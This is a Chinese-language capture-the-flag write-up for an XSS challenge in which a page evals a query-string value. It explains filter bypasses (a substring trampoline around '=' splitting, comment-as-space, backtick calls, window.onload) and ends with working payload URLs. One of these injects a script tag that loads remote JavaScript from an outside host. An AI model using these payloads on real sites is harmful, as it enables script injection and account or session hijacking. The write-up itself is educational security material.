n0js case1 writeup
http://server.n0tr00t.com/n0js/case2.html
廢話不說(shuō),上代碼
<script>
eval(eval((window.location.search.substring(1).split("=")[1])));
</script>
<pre>
<iframe name="hi" src="http://server.n0tr00t.com/n0js/case2_test.html" style="width: 400px;height: 200px;"></iframe>
</pre>
很明顯,這是一個(gè)xss。當(dāng)然了,xss基礎(chǔ)的話我就不多講了。script標(biāo)簽中使用eval執(zhí)行window.location.search.substring(1).split("=")[1]
的代碼。這段代碼的意思是獲取瀏覽器地址欄的地址,并且使用=分割,返回分割后數(shù)組的第二個(gè)元素。例如:http://server.n0tr00t.com/n0js/case2.html?1=x
這段地址。首先獲取1=x這一段,然后使用=分割,并返回?cái)?shù)組的第二個(gè)元素,也就是x。
好了,那我們輸入以下代碼1=alert(1),這樣就執(zhí)行了xss漏洞。但是題目的要求是利用這個(gè)xss漏洞去修改iframe,使之彈窗或者加載其他地址。所以我們分析一下這個(gè)題的坑。
- 執(zhí)行的js代碼不能有=符號(hào),不然會(huì)被split所分割,導(dǎo)致=號(hào)后面的代碼不能實(shí)行,例如var x=1;這段代碼就無(wú)法正確執(zhí)行。
- 因?yàn)闉g覽器的原因,不能含有單引號(hào),雙引號(hào),空格,不然會(huì)被url編碼,導(dǎo)致執(zhí)行出錯(cuò)。
- 最重要的一點(diǎn)是,因?yàn)楹衳ss漏洞的script標(biāo)簽在iframe前面,導(dǎo)致不能獲取到iframe的標(biāo)簽內(nèi)容。具體可以看一下DOM加載順序這一塊知識(shí)。在script標(biāo)簽執(zhí)行的時(shí)候,iframe標(biāo)簽還沒(méi)有呢,當(dāng)然獲取不到咯。
針對(duì)上面的即可坑,我來(lái)一一解答
- 可以使用‘跳板’的方法。大家可以看見(jiàn),window.location.search.substring是獲取子字符串的,也就是說(shuō),如果我們這段代碼是
eval((window.location.search.substring(xx)));
,xx是子字符串的起點(diǎn),也就是split(=)的第三個(gè)元素開(kāi)始處,就可以繞過(guò)=這個(gè)坑。這段代碼相當(dāng)于再繼續(xù)執(zhí)行后面的一大串內(nèi)容,并且不受第一個(gè)坑的限制了。例如
http://server.n0tr00t.com/n0js/case2.html?1=eval((window.location.search.substring(49)));=console.log(1)
下面我們可以分析一下,substring返回1=eval((window.location.search.substring(49)));=console.log(1)
這一段,split(=),分為三部分,第一部分是1,第二部分是eval((window.location.search.substring(49)));
,第三部分是console.log(1)
,執(zhí)行第二部分。但是第二部分,又會(huì)去使用substring從瀏覽器的地址欄中獲取console.log(1)這一部分,并使用eval去執(zhí)行。
- 針對(duì)于第二個(gè)坑,空格我們可以使用
/**/
注釋去繞過(guò),例如var/**/x=1
,針對(duì)于單引號(hào),雙引號(hào)這一塊,我們可以使用反引號(hào)`
去繞過(guò)。在調(diào)用函數(shù)的時(shí)候,可以使用ES6的另一個(gè)特性,使用function_name\
代替
functon_name(),例如
alertx
``。 - 針對(duì)第三個(gè)坑,我們可以使用window.onload事件啊。這個(gè)事件就是等頁(yè)面全部加載完了才去執(zhí)行的。在特面加載完了以后,自然就能找到iframe標(biāo)簽了。
好了,這是題的分析過(guò)程,下面直接給出payload
http://server.n0tr00t.com/n0js/case2.html?1=eval((window.location.search.substring(49)));=window.onload=function(){document.getElementsByTagName(`iframe`)[0].src=`http://www.baidu.com`};//=
當(dāng)然了,也可以插入script標(biāo)簽,并且可以將所有想執(zhí)行的都扔到你自己引用的js文件中。這種方法的弊端是得需要一個(gè)服務(wù)器。下面給出這種方法的payload:
http://server.n0tr00t.com/n0js/case2.html?1=eval((window.location.search.substring(49)));=var/**/script=document.createElement`script`;script.src=`https://ctf.f4ck0.com/1.js`;document.body.appendChild(script);